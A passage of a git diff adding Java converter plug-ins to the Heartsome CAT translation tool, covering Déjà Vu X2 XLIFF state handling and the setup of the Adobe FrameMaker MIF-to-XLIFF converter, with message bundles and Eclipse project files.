tgtBean.setSource(false); + String tgtContent = null; + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + tgtContent = vu.getElementContent(); + if ((attrIdx = hsxlfVN.getAttrVal("state")) != -1) { + status = hsxlfVN.toString(attrIdx); + } + } + tgtContent = tgtContent == null ? "" : tgtContent; + tgtBean.setContent(tgtContent); + hsxlfVN.pop(); //回到trans-unit节点下 + + //判断是å¦å¤„于é”å®šçŠ¶æ€ + if ((attrIdx = hsxlfVN.getAttrVal("translate")) != -1) { + if ("no".equalsIgnoreCase(hsxlfVN.toString(attrIdx))) { + tgtBean.setLocked(true); + } + } + //判断是å¦å¤„于批准状æ€ï¼Œè‹¥æ˜¯ç­¾å‘,就没有必è¦åˆ¤æ–­äº†ï¼Œå› ä¸ºç­¾å‘了的一定就批准了的 + if (!"signed-off".equalsIgnoreCase(status)) { + if ((attrIdx = hsxlfVN.getAttrVal("approved")) != -1) { + if ("yes".equalsIgnoreCase(hsxlfVN.toString(attrIdx))) { + status = "approved"; //批准 + } + } + } + + //如果是é”定了的。在deja vu里é¢çš„完æˆç¿»è¯‘状æ€å˜æˆæœªå®Œæˆç¿»è¯‘。 + if (tgtBean.isLocked()) { + status = "needs-translation"; + }else { + //将状æ€åˆ‡æ¢æˆdu xliffçš„æ ¼å¼ + if ("approved".equals(status) || "signed-off".equals(status)) { + status = "finish"; + }else { + status = "needs-translation"; + } + + //判断是å¦æœ‰ç–‘问这个属性 + if (!"finish".equals(status)) { + if ((attrIdx = hsxlfVN.getAttrVal("hs:needs-review")) != -1) { + if ("yes".equals(hsxlfVN.toString(attrIdx))) { + status = "needs-review-translation"; + } + } + } + } + + tgtBean.setStatus(status); + + //获å–批注 + getNotes(hsxlfVN, tgtBean); + replaceSegment(segId, srcBean, tgtBean); + } + } + + /** + * 替æ¢æŽ‰éª¨æž¶æ–‡ä»¶ä¸­çš„å ä½ç¬¦ + * @param segId + * @param srcBean + * @param tgtbeBean + */ + private void replaceSegment(String segId, TuMrkBean srcBean, TuMrkBean tgtbeBean) throws Exception { + int attrIdx = -1; + String segStr = "%%%" + segId + "%%%"; + String srcXpath = "/xliff/file/body//trans-unit/seg-source//mrk[text()='" + segStr + "']"; + //先处ç†æºæ–‡ + outputAP.selectXPath(srcXpath); + if (outputAP.evalXPath() != -1) { + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, srcBean.getContent().getBytes("utf-8")); + } + //处ç†è¯‘æ–‡ + String tgtXpath = "/xliff/file/body//trans-unit/target//mrk[text()='" + segStr + "']"; + outputAP.selectXPath(tgtXpath); + if (outputAP.evalXPath() != -1) { + String content = tgtbeBean.getContent(); + if (tgtbeBean.getComment().length() > 0) { + if ((attrIdx = hsxlfVN.getAttrVal("comment")) != -1) { + outputXM.updateToken(attrIdx, tgtbeBean.getComment().getBytes("utf-8")); + }else { + String comment = " comment='" + tgtbeBean.getComment() + "'"; + outputXM.insertAttribute(comment.getBytes("utf-8")); + } + } + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, content.getBytes("utf-8")); + + //开始处ç†çŠ¶æ€ + if ((attrIdx = outputVN.getAttrVal("mid"))!= -1) { + //下é¢è¿›å…¥target父节点,这个节点里é¢å­˜æ”¾çš„æœ‰æ–‡æœ¬æ®µçš„çŠ¶æ€ + String xpath = "ancestor::target"; + outputAP.selectXPath(xpath); + if (outputAP.evalXPath() != -1) { + //下é¢æ ¹æ®R8的状æ€ã€‚修改sdl的状æ€ã€‚ + String status = tgtbeBean.getStatus(); + String needInsertAttrStr = ""; + if ("".equals(status) || "needs-translation".equals(status)) { + if ((attrIdx = outputVN.getAttrVal("state")) != -1) { + if (!"needs-translation".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "needs-translation"); + } + }else { + needInsertAttrStr = " state=\"needs-translation\""; + } + }else if ("needs-review-translation".equals(status)) { + if ((attrIdx = outputVN.getAttrVal("state")) != -1) { + if (!"needs-review-translation".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "needs-review-translation"); + } + }else { + needInsertAttrStr = " state=\"needs-review-translation\""; + } + }else if ("finish".equals(status)) { + if ((attrIdx = outputVN.getAttrVal("state")) != -1) { + if (!"translated".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "translated"); + } + }else { + needInsertAttrStr = " state=\"translated\""; + } + } + + if (needInsertAttrStr.length() > 0) { + outputXM.insertAttribute(needInsertAttrStr.getBytes("utf-8")); + } + + //如果是完æˆç¿»è¯‘或需è¦é”定,那么就è¦è¿›è¡Œtrans-unit节点中进行修改。 + if ("finish".equals(status) || tgtbeBean.isLocked()) { + needInsertAttrStr = ""; + xpath = "ancestor::trans-unit"; + outputAP.selectXPath(xpath); + if (outputAP.evalXPath() != -1) { + //先判断是å¦é”定,这里的判断优先处ç†é”定 + if (tgtbeBean.isLocked()) { + if ((attrIdx = outputVN.getAttrVal("translate")) != -1) { + if (!"no".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "no"); + } + }else { + needInsertAttrStr = " translate=\"no\""; + } + }else { + if ((attrIdx = outputVN.getAttrVal("translate")) != -1) { + if ("no".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, ""); + } + } + } + + //判断是å¦å®Œæˆç¿»è¯‘,完æˆç¿»è¯‘与é”定状æ€æ˜¯å¯¹ç«‹çš„,两者åªèƒ½å­˜åœ¨ä¸€ä¸ª + if ("finish".equals(status)) { + if ((attrIdx = outputVN.getAttrVal("approved")) != -1) { + if (!"yes".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, "yes"); + } + }else { + needInsertAttrStr = " approved=\"yes\""; + } + }else { + if ((attrIdx = outputVN.getAttrVal("approved")) != -1) { + if ("yes".equals(outputVN.toString(attrIdx))) { + outputXM.updateToken(attrIdx, ""); + } + } + } + if (needInsertAttrStr.length() > 0) { + outputXM.insertAttribute(needInsertAttrStr.getBytes("utf-8")); + } + } + } + } + + } + } + } + + + private void getNotes(VTDNav vn, TuMrkBean tgtBean) throws Exception { + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./note"; + ap.selectXPath(xpath); + String commentText = ""; + int i = 0; + while(ap.evalXPath() != -1){ + if (vn.getText() != -1) { + i ++; + String r8NoteText = vn.toString(vn.getText()); + if (r8NoteText.indexOf(":") != -1) { + commentText += i + ": " + r8NoteText.substring(r8NoteText.indexOf(":") + 1, r8NoteText.length()); + }else { + commentText += i + ": " + r8NoteText; + } + } + } + if (commentText.length() > 0) { + commentText = commentText.substring(0, commentText.length() - 1); + } + tgtBean.setComment(commentText); + vn.pop(); + } + + } +//----------------------------------------------------Xliff2DuImpl 结æŸæ ‡å¿—--------------------------------------------// + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + public static void main(String[] args) { + String comment = "this is a comment;\n"; + System.out.println(comment.substring(0, comment.length() - 1)); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/Messages.java new file mode 100644 index 0000000..4d72692 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.deja_vu_x2.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.deja_vu_x2.resource.du"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du.properties b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du.properties new file mode 100644 index 0000000..7d82743 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF \u6587\u4ef6 (XLF) + +du.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff01 +du.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\uff01 + + +du.task1 = \u6b63\u5728\u8f6c\u6362... +du.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +du2Xlf.msg1 = D\u00e9j\u00e0 Vu X2 \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2du.msg1 = XLIFF \u8f6c\u6362\u6210 D\u00e9j\u00e0 Vu X2 \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_en.properties b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_en.properties new file mode 100644 index 0000000..0a372cd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_en.properties @@ -0,0 +1,13 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF file (XLF) + +du.parse.msg1 = Failed to parsing the file {0}! +du.parse.msg2 = Conversion to original format failed because the file {0} is not readable! + +du.task1 = Converting... +du.task2 = Converting to the original format... + +du2Xlf.msg1 = Failed to convert D\u00e9j\u00e0 Vu X2 bilingual files to XLIFF.\nPlease confirm whether there is an error in file, then try again. + +xlf2du.msg1 = Failed to convert XLIFF to D\u00e9j\u00e0 Vu X2 bilingual files.\nPlease confirm whether there is an error in file, then try again. diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_zh.properties b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_zh.properties new file mode 100644 index 0000000..7d82743 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/resource/du_zh.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF \u6587\u4ef6 (XLF) + +du.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff01 +du.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\uff01 + + +du.task1 = \u6b63\u5728\u8f6c\u6362... +du.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +du2Xlf.msg1 = D\u00e9j\u00e0 Vu X2 \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2du.msg1 = XLIFF \u8f6c\u6362\u6210 D\u00e9j\u00e0 Vu X2 \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.MIF/.classpath b/hsconverter/net.heartsome.cat.converter.MIF/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.MIF/.gitignore b/hsconverter/net.heartsome.cat.converter.MIF/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.MIF/.project b/hsconverter/net.heartsome.cat.converter.MIF/.project new file mode 100644 index 0000000..7e35e27 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.MIF + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.MIF/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.MIF/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..fea7167 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:10:25 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.MIF/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.MIF/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8dc0f4f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MIF +Bundle-SymbolicName: net.heartsome.cat.converter.MIF;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.mif.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0", + org.eclipse.jface;bundle-version="3.7.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + net.heartsome.cat.common.ui;bundle-version="1.0.0", + org.eclipse.ui;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.eclipse.core.runtime.preferences, + org.osgi.framework;version="1.5.0" +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.MIF/build.properties b/hsconverter/net.heartsome.cat.converter.MIF/build.properties new file mode 100644 index 0000000..7ce302d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + images/,\ + plugin.xml,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties diff --git a/hsconverter/net.heartsome.cat.converter.MIF/images/preference/framemaker_32.png b/hsconverter/net.heartsome.cat.converter.MIF/images/preference/framemaker_32.png new file mode 100644 index 0000000..b38d161 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.MIF/images/preference/framemaker_32.png differ diff --git a/hsconverter/net.heartsome.cat.converter.MIF/plugin.properties b/hsconverter/net.heartsome.cat.converter.MIF/plugin.properties new file mode 100644 index 0000000..a48c0c6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/plugin.properties @@ -0,0 +1 @@ +preferencePages.FrameMakerPreferencePage = Adobe FrameMaker \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/plugin.xml b/hsconverter/net.heartsome.cat.converter.MIF/plugin.xml new file mode 100644 index 0000000..fc4312c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/plugin.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.MIF/plugin_en.properties b/hsconverter/net.heartsome.cat.converter.MIF/plugin_en.properties new file mode 100644 index 0000000..f4b7f01 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/plugin_en.properties @@ -0,0 +1 @@ +preferencePages.FrameMakerPreferencePage = Adobe FrameMaker diff --git a/hsconverter/net.heartsome.cat.converter.MIF/plugin_zh.properties b/hsconverter/net.heartsome.cat.converter.MIF/plugin_zh.properties new file mode 100644 index 0000000..a48c0c6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/plugin_zh.properties @@ -0,0 +1 @@ +preferencePages.FrameMakerPreferencePage = Adobe FrameMaker \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Activator.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Activator.java new file mode 100644 index 0000000..23c1152 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Activator.java @@ -0,0 +1,103 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.mif; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle. + */ +public class Activator extends AbstractUIPlugin implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.MIF"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The mif2 xliff sr. */ + @SuppressWarnings("rawtypes") + private ServiceRegistration mif2XliffSR; + + /** The xliff2 mif sr. */ + @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2MifSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + // register the converter services + Converter mif2Xliff = new Mif2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Mif2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Mif2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Mif2Xliff.TYPE_NAME_VALUE); + mif2XliffSR = ConverterRegister.registerPositiveConverter(context, mif2Xliff, properties); + + Converter xliff2Mif = new Xliff2Mif(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Mif.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Mif.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Mif.TYPE_NAME_VALUE); + xliff2MifSR = ConverterRegister.registerReverseConverter(context, xliff2Mif, properties); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + if (mif2XliffSR != null) { + mif2XliffSR.unregister(); + } + if (xliff2MifSR != null) { + xliff2MifSR.unregister(); + } + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Mif2Xliff.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Mif2Xliff.java new file mode 100644 index 0000000..ade58b6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Mif2Xliff.java @@ -0,0 +1,210 @@ +/** + * Mif2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.mif; + +import java.io.BufferedWriter; +import java.io.FileWriter; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.mif.common.MifParseException; +import net.heartsome.cat.converter.mif.common.UnSuportedFileExcetption; +import net.heartsome.cat.converter.mif.parser.XliffReader; +import net.heartsome.cat.converter.mif.preference.Constants; +import net.heartsome.cat.converter.mif.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * The Class Mif2Xliff. + * @author John Zhu + */ +public class Mif2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "mif"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("mif.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MIF to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Mif2XliffImpl converter = new Mif2XliffImpl(); +// String iniDir = args.get(Converter.ATTR_INIDIR); +// String iniFile = iniDir + System.getProperty("file.separator") + "init_mif.xml"; +// args.put(Converter.ATTR_INI_FILE, iniFile); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Mif2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Mif2XliffImpl { + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + Map result = new HashMap(); + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + String inputFile = params.get(Converter.ATTR_SOURCE_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + String skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + String sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + String encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + +// String iniFile = params.get(Converter.ATTR_INI_FILE); +// if (iniFile == null || "".equals(iniFile)) { +// ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.Mif2Xliff.msg1")); +// } + + String catalogue = params.get(Converter.ATTR_CATALOGUE); + String initSegmenter = params.get(Converter.ATTR_SRX); + + StringSegmenter segmenter = null; + try { + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } catch (Exception e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.mif2xliff.msg3") + e.getMessage(), e); + } + + BufferedWriter xlfWriter = null; + BufferedWriter sklOs = null; + try { + monitor.beginTask(Messages.getString("mif.Mif2Xliff.task1"), 4); + + xlfWriter = new BufferedWriter(new FileWriter(xliffFile)); + + // generation the header of xliff file + writeXliffHeader(xlfWriter, inputFile, sourceLanguage, skeletonFile, encoding); + + monitor.worked(1); + monitor.setTaskName(Messages.getString("mif.Mif2Xliff.task2")); + XliffReader r = new XliffReader(inputFile, encoding, sourceLanguage, segmenter); + monitor.worked(1); + + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + r.readXliffFile(xlfWriter, /*iniFile*/null, !store.getBoolean(Constants.FRAMEMAKER_FILTER), new SubProgressMonitor(monitor, 1)); + + // generation the end of xliff file + writeXliffTail(xlfWriter); + + sklOs = new BufferedWriter(new FileWriter(skeletonFile)); + r.readSkeletonFile(sklOs, new SubProgressMonitor(monitor, 1)); + + } catch (IOException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.Mif2Xliff.error1") + e.getMessage(), e); + } catch (MifParseException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.Mif2Xliff.error2") + e.getMessage(), e); + } catch (UnSuportedFileExcetption e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("mif.Mif2Xliff.error3") + e.getMessage(), e); + } finally { + + try { + if (xlfWriter != null) { + xlfWriter.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + try { + if (sklOs != null) { + sklOs.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + monitor.done(); + } + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + return result; + } + + private void writeXliffHeader(BufferedWriter xlfWriter, String inputFile, String srcLang, String sklFile, + String encoding) throws IOException { + xlfWriter.write("\n"); + xlfWriter.write("\n"); + + xlfWriter.write("\n"); + + xlfWriter.write("
    \n"); + xlfWriter.write(" \n"); + xlfWriter.write(" \n"); //$NON-NLS-2$ //$NON-NLS-3$ + xlfWriter.write(" \n"); + xlfWriter + .write(" \n"); //$NON-NLS-2$ + xlfWriter.write(" " + encoding + + "\n"); + xlfWriter.write("
    \n"); + xlfWriter.write("\n"); + } + + private void writeXliffTail(BufferedWriter xlfWriter) throws IOException { + xlfWriter.write("\n"); + xlfWriter.write("
    \n"); + xlfWriter.write("
    "); + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Xliff2Mif.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Xliff2Mif.java new file mode 100644 index 0000000..431f762 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/Xliff2Mif.java @@ -0,0 +1,484 @@ +/** + * Xliff2Mif.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.mif; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.mif.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Mif. + * @author John Zhu + */ +public class Xliff2Mif implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "mif"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("mif.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MIF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + 